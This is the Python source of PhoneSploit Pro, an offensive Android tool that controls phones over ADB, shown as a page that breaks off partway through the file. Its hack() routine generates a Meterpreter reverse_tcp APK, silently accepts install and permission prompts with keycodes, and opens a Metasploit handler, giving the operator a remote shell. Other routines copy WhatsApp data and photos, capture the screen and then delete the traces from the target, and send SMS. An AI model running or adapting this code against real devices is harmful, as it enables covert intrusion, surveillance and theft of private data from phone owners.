forked from AzeemIdrisi/PhoneSploit-Pro
-
Notifications
You must be signed in to change notification settings - Fork 0
/
phonesploitpro.py
executable file
·1180 lines (1001 loc) · 42.9 KB
/
phonesploitpro.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
"""
Script : PhoneSploit Pro
Author : Mohd Azeem (github.com/AzeemIdrisi)
"""
import os
import random
import socket
import time
import subprocess
import platform
import datetime
from modules import banner
from modules import color
def start():
# Checking OS
global operating_system
operating_system = platform.system()
if operating_system == 'Windows':
# Windows specific configuration
windows_config()
else:
# On Linux / macOS
import readline # Arrow Key
# Creates a folder to store pulled files
os.system('mkdir -p Downloaded-Files')
check_packages() # Checking for required packages
def windows_config():
global clear, opener, move
clear = 'cls'
opener = 'start'
move = 'move'
# Creates a folder to store pulled files
os.system('if not exist Downloaded-Files mkdir Downloaded-Files')
def check_packages():
adb_status = subprocess.call(['which', 'adb'])
if adb_status != 0:
print(f'\n{color.RED}ERROR : ADB is NOT installed!\n')
print(f'\n{color.CYAN}Please install Android-Tools (adb){color.WHITE}\n')
choice = input(
'\nDo you still want to continue to PhoneSploit Pro? Y / N > ').lower()
if choice == 'y' or choice == '':
return
elif choice == 'n':
exit_phonesploit_pro()
return
else:
while choice != 'y' and choice != 'n' and choice != '':
choice = input(
'\nInvalid choice!, Press Y or N > ').lower()
if choice == 'y' or choice == '':
return
elif choice == 'n':
exit_phonesploit_pro()
return
metasploit_status = subprocess.call(['which', 'msfconsole'])
if metasploit_status != 0:
print(f'\n{color.RED}ERROR : Metasploit-Framework is NOT installed!\n')
print(f'\n{color.CYAN}Please install Metasploit-Framework{color.WHITE}\n')
choice = input(
'\nDo you still want to continue to PhoneSploit Pro? Y / N > ').lower()
if choice == 'y' or choice == '':
return
elif choice == 'n':
exit_phonesploit_pro()
return
else:
while choice != 'y' and choice != 'n' and choice != '':
choice = input(
'\nInvalid choice!, Press Y or N > ').lower()
if choice == 'y' or choice == '':
return
elif choice == 'n':
exit_phonesploit_pro()
return
scrcpy_status = subprocess.call(['which', 'scrcpy'])
if scrcpy_status != 0:
print(f'\n{color.RED}ERROR : scrcpy is NOT installed!\n')
print(f'\n{color.CYAN}Please install scrcpy{color.WHITE}\n')
choice = input(
'\nDo you still want to continue to PhoneSploit Pro? Y / N > ').lower()
if choice == 'y' or choice == '':
return
elif choice == 'n':
exit_phonesploit_pro()
return
else:
while choice != 'y' and choice != 'n' and choice != '':
choice = input(
'\nInvalid choice!, Press Y or N > ').lower()
if choice == 'y' or choice == '':
return
elif choice == 'n':
exit_phonesploit_pro()
return
def display_menu():
""" Displays banner and menu"""
print(selected_banner, page)
def clear_screen():
""" Clears the screen and display menu """
os.system(clear)
display_menu()
def change_page(name):
global page, page_number
if name == 'p':
if page_number > 0:
page_number = page_number - 1
elif name == 'n':
if page_number < 2:
page_number = page_number + 1
page = banner.menu[page_number]
clear_screen()
def connect():
# Connect only 1 device at a time
print(f"\n{color.CYAN}Enter target phone's IP Address {color.YELLOW}Example : 192.168.1.23{color.WHITE}")
ip = input("> ")
if ip == '':
print(
f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
return
else:
# Restart ADB on new connection.
os.system(
'adb kill-server > hidden.txt 2>&1&&adb start-server > hidden.txt 2>&1')
os.system("adb connect " + ip + ":5555")
def list_devices():
print("\n")
os.system("adb devices -l")
print("\n")
def disconnect():
print("\n")
os.system("adb disconnect")
print("\n")
def exit_phonesploit_pro():
global run_phonesploit_pro
run_phonesploit_pro = False
print("\nExiting...\n")
def get_shell():
print("\n")
os.system("adb shell")
def get_screenshot():
global screenshot_location
# Getting a temporary file name to store time specific results
file_name = f'screenshot-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.png'
os.system(f"adb shell screencap -p /sdcard/{file_name}")
if screenshot_location == '':
print(
f"\n{color.YELLOW}Enter location to save all screenshots, Press 'Enter' for default{color.WHITE}")
screenshot_location = input("> ")
if screenshot_location == "":
screenshot_location = 'Downloaded-Files'
print(
f"\n{color.PURPLE}Saving screenshot to PhoneSploit-Pro/{screenshot_location}\n{color.WHITE}")
else:
print(
f"\n{color.PURPLE}Saving screenshot to {screenshot_location}\n{color.WHITE}")
os.system(f"adb pull /sdcard/{file_name} {screenshot_location}")
# Asking to open file
choice = input(
f'\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> ').lower()
if choice == 'y' or choice == '':
os.system(f"{opener} {screenshot_location}/{file_name}")
elif not choice == 'n':
while choice != 'y' and choice != 'n' and choice != '':
choice = input(
'\nInvalid choice!, Press Y or N > ').lower()
if choice == 'y' or choice == '':
os.system(f"{opener} {screenshot_location}/{file_name}")
print("\n")
def screenrecord():
global screenrecord_location
# Getting a temporary file name to store time specific results
file_name = f'vid-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.mp4'
duration = input(
f"\n{color.CYAN}Enter the recording duration (in seconds) > {color.WHITE}")
print(f'\n{color.YELLOW}Starting Screen Recording...\n{color.WHITE}')
os.system(
f"adb shell screenrecord --verbose --time-limit {duration} /sdcard/{file_name}")
if screenrecord_location == '':
print(
f"\n{color.YELLOW}Enter location to save all videos, Press 'Enter' for default{color.WHITE}")
screenrecord_location = input("> ")
if screenrecord_location == "":
screenrecord_location = 'Downloaded-Files'
print(
f"\n{color.PURPLE}Saving video to PhoneSploit-Pro/{screenrecord_location}\n{color.WHITE}")
else:
print(
f"\n{color.PURPLE}Saving video to {screenrecord_location}\n{color.WHITE}")
os.system(f"adb pull /sdcard/{file_name} {screenrecord_location}")
# Asking to open file
choice = input(
f'\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> ').lower()
if choice == 'y' or choice == '':
os.system(f"{opener} {screenrecord_location}/{file_name}")
elif not choice == 'n':
while choice != 'y' and choice != 'n' and choice != '':
choice = input(
'\nInvalid choice!, Press Y or N > ').lower()
if choice == 'y' or choice == '':
os.system(f"{opener} {screenrecord_location}/{file_name}")
print("\n")
def pull_file():
global pull_location
print(f"\n{color.CYAN}Enter file path {color.YELLOW}Example : /sdcard/Download/sample.jpg{color.WHITE}")
location = input("\n> /sdcard/")
if pull_location == '':
print(
f"\n{color.YELLOW}Enter location to save all files, Press 'Enter' for default{color.WHITE}")
pull_location = input("> ")
if pull_location == "":
pull_location = 'Downloaded-Files'
print(
f"\n{color.PURPLE}Saving file to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
else:
print(f"\n{color.PURPLE}Saving file to {pull_location}\n{color.WHITE}")
os.system(f'adb pull /sdcard/{location} {pull_location}')
# Asking to open file
choice = input(
f'\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> ').lower()
# updating location = file_name if it existed inside a folder
# Example : sdcard/DCIM/longtime.jpg -> longtime.jpg
file_path = location.split('/')
location = file_path[len(file_path) - 1]
# processing request
if choice == 'y' or choice == '':
os.system(f"{opener} {pull_location}/{location}")
elif not choice == 'n':
while choice != 'y' and choice != 'n' and choice != '':
choice = input(
'\nInvalid choice!, Press Y or N > ').lower()
if choice == 'y' or choice == '':
os.system(f"{opener} {pull_location}/{location}")
def push_file():
location = input(
f"\n{color.CYAN}Enter file path in computer{color.WHITE} > ")
if location == '':
print(
f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
return
else:
destination = input(
f"\n{color.CYAN}Enter destination path {color.YELLOW}Example : /sdcard/Documents{color.WHITE}\n> /sdcard/")
os.system("adb push " + location + " /sdcard/" + destination)
def stop_adb():
os.system("adb kill-server")
print("\nStopped ADB Server")
def install_app():
file_location = input(
f"\n{color.CYAN}Enter APK path in computer{color.WHITE} > ")
if file_location == '':
print(
f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
return
else:
if location[len(location)-1] == ' ':
location = location.removesuffix(' ')
file_location = file_location.replace("'", "")
file_location = file_location.replace('"', '')
if not os.path.isfile(file_location):
print(
f"{color.RED}\n[Error]{color.GREEN} This file does not exist {color.GREEN}")
return
else:
file_location = "'" + file_location + "'"
os.system("adb install " + file_location)
print("\n")
def uninstall_app():
print(
f"\n{color.CYAN}Enter package name {color.WHITE}Example : com.spotify.music ")
package_name = input("> ")
if package_name == '':
print(
f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
else:
os.system("adb uninstall " + package_name)
print("\n")
def launch_app():
print(
f"\n{color.CYAN}Enter package name. {color.WHITE}Example : com.spotify.music ")
package_name = input("> ")
if package_name == '':
print(
f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
return
else:
os.system("adb shell monkey -p " + package_name + " 1")
print("\n")
def list_apps():
print(f'''
{color.WHITE}1.{color.GREEN} List third party packages {color.WHITE}
{color.WHITE}2.{color.GREEN} List all packages {color.WHITE}
''')
mode = (input("> "))
if mode == '1':
os.system("adb shell pm list packages -3")
elif mode == '2':
os.system("adb shell pm list packages")
else:
print(
f'\n{color.RED} Invalid selection\n{color.GREEN} Going back to Main Menu{color.WHITE}')
print("\n")
def reboot(key):
print(
f'\n{color.RED}[Warning]{color.YELLOW} Restarting will disconnect the device{color.WHITE}')
choice = input('\nDo you want to continue? Y / N > ').lower()
if choice == 'y' or choice == '':
pass
elif choice == 'n':
return
else:
while choice != 'y' and choice != 'n' and choice != '':
choice = input('\nInvalid choice!, Press Y or N > ').lower()
if choice == 'y' or choice == '':
pass
elif choice == 'n':
return
if key == 'system':
os.system('adb reboot')
else:
print(f'''
{color.WHITE}1.{color.GREEN} Reboot to Recovery Mode
{color.WHITE}2.{color.GREEN} Reboot to Bootloader
{color.WHITE}3.{color.GREEN} Reboot to Fastboot Mode
{color.WHITE}''')
mode = (input("> "))
if mode == '1':
os.system('adb reboot recovery')
elif mode == '2':
os.system('adb reboot bootloader')
elif mode == '3':
os.system('adb reboot fastboot')
else:
print(
f'\n{color.RED} Invalid selection\n{color.GREEN} Going back to Main Menu{color.WHITE}')
return
print("\n")
def list_files():
print('\n')
os.system('adb shell ls -a /sdcard/')
print('\n')
def get_ip_address():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
return s.getsockname()[0]
def instructions():
"""Prints instructions for Metasploit and returns user's choice"""
os.system(clear)
print(banner.instructions_banner + banner.instruction)
choice = input('> ')
if choice == '':
return True
else:
return False
def hack():
continue_hack = instructions()
if continue_hack:
os.system(clear)
print(banner.hacking_banner)
ip = get_ip_address() # getting IP Address to create payload
lport = '4444'
print(
f"\n{color.CYAN}Using LHOST : {color.WHITE}{ip}{color.CYAN} & LPORT : {color.WHITE}{lport}{color.CYAN} to create payload\n{color.WHITE}")
choice = input(
f"\n{color.YELLOW}Press 'Enter' to continue OR enter 'M' to modify LHOST & LPORT > {color.WHITE}").lower()
if choice == 'm':
ip = input(f"\n{color.CYAN}Enter LHOST > {color.WHITE}")
lport = input(f"\n{color.CYAN}Enter LPORT > {color.WHITE}")
elif choice != '':
while choice != 'm' and choice != '':
choice = input(
f"\n{color.RED}Invalid selection! , Press 'Enter' OR M > {color.WHITE}").lower()
if choice == 'm':
ip = input(f"\n{color.CYAN}Enter LHOST > {color.WHITE}")
lport = input(f"\n{color.CYAN}Enter LPORT > {color.WHITE}")
print(f"\n{color.CYAN}Creating payload APK...\n{color.WHITE}")
# creating payload
os.system(
f"msfvenom -p android/meterpreter/reverse_tcp LHOST={ip} LPORT={lport} > test.apk")
print(f"\n{color.CYAN}Installing APK to target device...{color.WHITE}\n")
# installing apk to device
if operating_system == 'Windows':
# (used 'start /b' to execute command in background)
os.system("start /b adb install test.apk")
else:
# (used ' &' to execute command in background)
os.system("adb install test.apk &")
time.sleep(5) # waiting for apk to be installed
# Keyboard input to accept app install
print(
f"\n{color.CYAN}Sending keycodes to accept the app installation\n{color.WHITE}")
os.system('adb shell input keyevent 20')
os.system('adb shell input keyevent 20')
os.system('adb shell input keyevent 66')
print(f"\n{color.CYAN}Launching app...\n{color.WHITE}")
package_name = "com.metasploit.stage" # payload package name
os.system("adb shell monkey -p " + package_name + " 1")
time.sleep(3) # waiting for app to launch
# Keyboard input to accept app permissions
print(
f"\n{color.CYAN}Sending keycodes to accept the app permissions\n{color.WHITE}")
os.system('adb shell input keyevent 22')
os.system('adb shell input keyevent 22')
os.system('adb shell input keyevent 66')
# Launching Metasploit
print(
f"\n{color.RED}Launching and Setting up Metasploit-Framework\n{color.WHITE}")
os.system(
f"msfconsole -x 'use exploit/multi/handler ; set PAYLOAD android/meterpreter/reverse_tcp ; set LHOST {ip} ; set LPORT {lport} ; exploit'")
else:
print('\nGoing Back to Main Menu\n')
def copy_whatsapp():
global pull_location
if pull_location == '':
print(
f"\n{color.YELLOW}Enter location to save WhatsApp Data, Press 'Enter' for default{color.WHITE}")
pull_location = input("> ")
if pull_location == "":
pull_location = 'Downloaded-Files'
print(
f"\n{color.PURPLE}Saving data to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
else:
print(f"\n{color.PURPLE}Saving data to {pull_location}\n{color.WHITE}")
location = '/sdcard/Android/media/com.whatsapp/WhatsApp'
# 'test -d' checks if directory exist or not
folder_status = os.system(f'adb shell test -d {location}')
# If WhatsApp exists in Android
if folder_status == 0:
location = '/sdcard/Android/media/com.whatsapp/WhatsApp'
else:
location = '/sdcard/WhatsApp'
os.system(f"adb pull {location} {pull_location}")
print('\n')
def copy_screenshots():
global pull_location
if pull_location == '':
print(
f"\n{color.YELLOW}Enter location to save all Screenshots, Press 'Enter' for default{color.WHITE}")
pull_location = input("> ")
if pull_location == "":
pull_location = 'Downloaded-Files'
print(
f"\n{color.PURPLE}Saving Screenshots to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
else:
print(
f"\n{color.PURPLE}Saving Screenshots to {pull_location}\n{color.WHITE}")
location = '/sdcard/Pictures/Screenshots'
os.system(f"adb pull {location} {pull_location}")
print('\n')
def copy_camera():
global pull_location
if pull_location == '':
print(
f"\n{color.YELLOW}Enter location to save all Photos, Press 'Enter' for default{color.WHITE}")
pull_location = input("> ")
if pull_location == "":
pull_location = 'Downloaded-Files'
print(
f"\n{color.PURPLE}Saving Photos to PhoneSploit-Pro/{pull_location}\n{color.WHITE}")
else:
print(f"\n{color.PURPLE}Saving Photos to {pull_location}\n{color.WHITE}")
location = '/sdcard/DCIM/Camera'
os.system(f"adb pull {location} {pull_location}")
print('\n')
def anonymous_screenshot():
global screenshot_location
# Getting a temporary file name to store time specific results
file_name = f'screenshot-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.png'
os.system(f"adb shell screencap -p /sdcard/{file_name}")
if screenshot_location == '':
print(
f"\n{color.YELLOW}Enter location to save all screenshots, Press 'Enter' for default{color.WHITE}")
screenshot_location = input("> ")
if screenshot_location == "":
screenshot_location = 'Downloaded-Files'
print(
f"\n{color.PURPLE}Saving screenshot to PhoneSploit-Pro/{screenshot_location}\n{color.WHITE}")
else:
print(
f"\n{color.PURPLE}Saving screenshot to {screenshot_location}\n{color.WHITE}")
os.system(f"adb pull /sdcard/{file_name} {screenshot_location}")
print(f'\n{color.YELLOW}Deleting screenshot from Target\'s device\n{color.WHITE}')
os.system(f"adb shell rm /sdcard/{file_name}")
# Asking to open file
choice = input(
f'\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> ').lower()
if choice == 'y' or choice == '':
os.system(f"{opener} {screenshot_location}/{file_name}")
elif not choice == 'n':
while choice != 'y' and choice != 'n' and choice != '':
choice = input(
'\nInvalid choice!, Press Y or N > ').lower()
if choice == 'y' or choice == '':
os.system(f"{opener} {screenshot_location}/{file_name}")
print("\n")
def anonymous_screenrecord():
global screenrecord_location
# Getting a temporary file name to store time specific results
file_name = f'vid-{datetime.datetime.now().year}-{datetime.datetime.now().month}-{datetime.datetime.now().day}-{datetime.datetime.now().hour}-{datetime.datetime.now().minute}-{datetime.datetime.now().second}.mp4'
duration = input(
f"\n{color.CYAN}Enter the recording duration (in seconds) > {color.WHITE}")
print(f'\n{color.YELLOW}Starting Screen Recording...\n{color.WHITE}')
os.system(
f"adb shell screenrecord --verbose --time-limit {duration} /sdcard/{file_name}")
if screenrecord_location == '':
print(
f"\n{color.YELLOW}Enter location to save all videos, Press 'Enter' for default{color.WHITE}")
screenrecord_location = input("> ")
if screenrecord_location == "":
screenrecord_location = 'Downloaded-Files'
print(
f"\n{color.PURPLE}Saving video to PhoneSploit-Pro/{screenrecord_location}\n{color.WHITE}")
else:
print(
f"\n{color.PURPLE}Saving video to {screenrecord_location}\n{color.WHITE}")
os.system(f"adb pull /sdcard/{file_name} {screenrecord_location}")
print(f'\n{color.YELLOW}Deleting video from Target\'s device\n{color.WHITE}')
os.system(f"adb shell rm /sdcard/{file_name}")
# Asking to open file
choice = input(
f'\n{color.GREEN}Do you want to Open the file? Y / N {color.WHITE}> ').lower()
if choice == 'y' or choice == '':
os.system(f"{opener} {screenrecord_location}/{file_name}")
elif not choice == 'n':
while choice != 'y' and choice != 'n' and choice != '':
choice = input(
'\nInvalid choice!, Press Y or N > ').lower()
if choice == 'y' or choice == '':
os.system(f"{opener} {screenrecord_location}/{file_name}")
print("\n")
def use_keycode():
keycodes = True
os.system(clear)
print(banner.keycode_menu)
while keycodes:
print(f"\n {color.CYAN}99 : Clear Screen 0 : Main Menu")
keycode_option = input(
f"{color.RED}\n[KEYCODE] {color.WHITE}Enter selection > ").lower()
match keycode_option:
case '0':
keycodes = False
display_menu()
case '99':
os.system(clear)
print(banner.keycode_menu)
case '1':
text = input(f'\n{color.CYAN}Enter text > {color.WHITE}')
os.system(f'adb shell input text "{text}"')
print(f'{color.YELLOW}\nEntered {color.WHITE}"{text}"')
case '2':
os.system('adb shell input keyevent 3')
print(f'{color.YELLOW}\nPressed Home Button{color.WHITE}')
case '3':
os.system('adb shell input keyevent 4')
print(f'{color.YELLOW}\nPressed Back Button{color.WHITE}')
case '4':
os.system('adb shell input keyevent 187')
print(f'{color.YELLOW}\nPressed Recent Apps Button{color.WHITE}')
case '5':
os.system('adb shell input keyevent 26')
print(f'{color.YELLOW}\nPressed Power Key{color.WHITE}')
case '6':
os.system('adb shell input keyevent 19')
print(f'{color.YELLOW}\nPressed DPAD Up{color.WHITE}')
case '7':
os.system('adb shell input keyevent 20')
print(f'{color.YELLOW}\nPressed DPAD Down{color.WHITE}')
case '8':
os.system('adb shell input keyevent 21')
print(f'{color.YELLOW}\nPressed DPAD Left{color.WHITE}')
case '9':
os.system('adb shell input keyevent 22')
print(f'{color.YELLOW}\nPressed DPAD Right{color.WHITE}')
case '10':
os.system('adb shell input keyevent 67')
print(f'{color.YELLOW}\nPressed Delete/Backspace{color.WHITE}')
case '11':
os.system('adb shell input keyevent 66')
print(f'{color.YELLOW}\nPressed Enter{color.WHITE}')
case '12':
os.system('adb shell input keyevent 24')
print(f'{color.YELLOW}\nPressed Volume Up{color.WHITE}')
case '13':
os.system('adb shell input keyevent 25')
print(f'{color.YELLOW}\nPressed Volume Down{color.WHITE}')
case '14':
os.system('adb shell input keyevent 126')
print(f'{color.YELLOW}\nPressed Media Play{color.WHITE}')
case '15':
os.system('adb shell input keyevent 127')
print(f'{color.YELLOW}\nPressed Media Pause{color.WHITE}')
case '16':
os.system('adb shell input keyevent 61')
print(f'{color.YELLOW}\nPressed Tab Key{color.WHITE}')
case '17':
os.system('adb shell input keyevent 111')
print(f'{color.YELLOW}\nPressed Esc Key{color.WHITE}')
case other:
print("\nInvalid selection!\n")
def open_link():
print(f'\n{color.YELLOW}Enter URL {color.CYAN}Example : https://github.com {color.WHITE}')
url = input('> ')
if url == '':
print(
f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
return
else:
print(f'\n{color.YELLOW}Opening "{url}" on device \n{color.WHITE}')
os.system(f'adb shell am start -a android.intent.action.VIEW -d {url}')
print('\n')
def open_photo():
location = input(
f"\n{color.YELLOW}Enter Photo location in computer{color.WHITE} > ")
if location == '':
print(
f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
return
else:
if location[len(location)-1] == ' ':
location = location.removesuffix(' ')
location = location.replace("'", "")
location = location.replace('"', '')
if not os.path.isfile(location):
print(
f"{color.RED}\n[Error]{color.GREEN} This file does not exist {color.GREEN}")
return
else:
location = '"' + location + '"'
os.system("adb push " + location + " /sdcard/")
file_path = location.split('/')
file_name = file_path[len(file_path) - 1]
# Reverse slash ('\') splitting for Windows only
global operating_system
if operating_system == 'Windows':
file_path = file_name.split('\\')
file_name = file_path[len(file_path) - 1]
file_name = file_name.replace("'", '')
file_name = file_name.replace('"', "")
file_name = "'" + file_name + "'"
print(file_name)
print(f'\n{color.YELLOW}Opening Photo on device \n{color.WHITE}')
os.system(
f'adb shell am start -n com.android.chrome/com.google.android.apps.chrome.Main -d "file:///sdcard/{file_name}" -t image/jpeg') # -a android.intent.action.VIEW
print('\n')
def open_audio():
location = input(
f"\n{color.YELLOW}Enter Audio location in computer{color.WHITE} > ")
if location == '':
print(
f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
return
else:
if location[len(location)-1] == ' ':
location = location.removesuffix(' ')
location = location.replace("'", "")
location = location.replace('"', '')
if not os.path.isfile(location):
print(
f"{color.RED}\n[Error]{color.GREEN} This file does not exist {color.GREEN}")
return
else:
location = '"' + location + '"'
os.system("adb push " + location + " /sdcard/")
file_path = location.split('/')
file_name = file_path[len(file_path) - 1]
# Reverse slash ('\') splitting for Windows only
global operating_system
if operating_system == 'Windows':
file_path = file_name.split('\\')
file_name = file_path[len(file_path) - 1]
file_name = file_name.replace("'", '')
file_name = file_name.replace('"', "")
file_name = "'" + file_name + "'"
print(file_name)
print(f'\n{color.YELLOW}Playing Audio on device \n{color.WHITE}')
os.system(
f'adb shell am start -n com.android.chrome/com.google.android.apps.chrome.Main -d "file:///sdcard/{file_name}" -t audio/mp3')
print(
f"\n{color.YELLOW}Waiting for 5 seconds before playing file.\n{color.WHITE}")
time.sleep(5)
# To play the file using Chrome
os.system('adb shell input keyevent 126')
print('\n')
def open_video():
location = input(
f"\n{color.YELLOW}Enter Video location in computer{color.WHITE} > ")
if location == '':
print(
f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
return
else:
if location[len(location)-1] == ' ':
location = location.removesuffix(' ')
location = location.replace("'", "")
location = location.replace('"', '')
if not os.path.isfile(location):
print(
f"{color.RED}\n[Error]{color.GREEN} This file does not exist {color.GREEN}")
return
else:
location = '"' + location + '"'
os.system("adb push " + location + " /sdcard/")
file_path = location.split('/')
file_name = file_path[len(file_path) - 1]
# Reverse slash ('\') splitting for Windows only
global operating_system
if operating_system == 'Windows':
file_path = file_name.split('\\')
file_name = file_path[len(file_path) - 1]
file_name = file_name.replace("'", '')
file_name = file_name.replace('"', "")
file_name = "'" + file_name + "'"
print(file_name)
print(f'\n{color.YELLOW}Playing Video on device \n{color.WHITE}')
os.system(
f'adb shell am start -n com.android.chrome/com.google.android.apps.chrome.Main -d "file:///sdcard/{file_name}" -t video/mp4')
print(
f"\n{color.YELLOW}Waiting for 5 seconds before playing file.\n{color.WHITE}")
time.sleep(5)
# To play the file using Chrome
os.system('adb shell input keyevent 126')
print('\n')
def get_device_info():
model = os.popen(f'adb shell getprop ro.product.model').read()
manufacturer = os.popen(
f'adb shell getprop ro.product.manufacturer').read()
chipset = os.popen(f'adb shell getprop ro.product.board').read()
android = os.popen(f'adb shell getprop ro.build.version.release').read()
security_patch = os.popen(
f'adb shell getprop ro.build.version.security_patch').read()
device = os.popen(f'adb shell getprop ro.product.vendor.device').read()
sim = os.popen(f'adb shell getprop gsm.sim.operator.alpha').read()
encryption_state = os.popen(f'adb shell getprop ro.crypto.state').read()
build_date = os.popen(f'adb shell getprop ro.build.date').read()
sdk_version = os.popen(f'adb shell getprop ro.build.version.sdk').read()
wifi_interface = os.popen(f'adb shell getprop wifi.interface').read()
print(f'''
{color.YELLOW}Model :{color.WHITE} {model}\
{color.YELLOW}Manufacturer :{color.WHITE} {manufacturer}\
{color.YELLOW}Chipset :{color.WHITE} {chipset}\
{color.YELLOW}Android Version :{color.WHITE} {android}\
{color.YELLOW}Security Patch :{color.WHITE} {security_patch}\
{color.YELLOW}Device :{color.WHITE} {device}\
{color.YELLOW}SIM :{color.WHITE} {sim}\
{color.YELLOW}Encryption State :{color.WHITE} {encryption_state}\
{color.YELLOW}Build Date :{color.WHITE} {build_date}\
{color.YELLOW}SDK Version :{color.WHITE} {sdk_version}\
{color.YELLOW}WiFi Interface :{color.WHITE} {wifi_interface}\
''')
def battery_info():
battery = os.popen(f'adb shell dumpsys battery').read()
print(f'''\n{color.YELLOW}Battery Information :
{color.WHITE}{battery}\n''')
def send_sms():
print(
f'\n{color.RED}[Warning] {color.CYAN}This feature is currently in BETA, Tested on Android 12 only{color.WHITE}')
number = input(
f'{color.YELLOW}\nEnter Phone number with country code{color.WHITE} (e.g. +91XXXXXXXXXX) > ')
if number == '':
print(
f'\n{color.RED} Null Input\n{color.GREEN} Going back to Main Menu{color.WHITE}')
return
else:
message = input(
f'{color.YELLOW}\nEnter your message {color.WHITE}> ')
print(f'{color.CYAN}\nSending SMS to {number} ...{color.WHITE}')
os.system(
f'adb shell service call isms 5 i32 0 s16 "com.android.mms.service" s16 "null" s16 "{number}" s16 "null" s16 "{message}" s16 "null" s16 "null" s16 "null" s16 "null"')
def unlock_device():
password = input(
f'{color.YELLOW}\nEnter password or Press \'Enter\' for blank{color.WHITE} > ')
os.system('adb shell input keyevent 26')
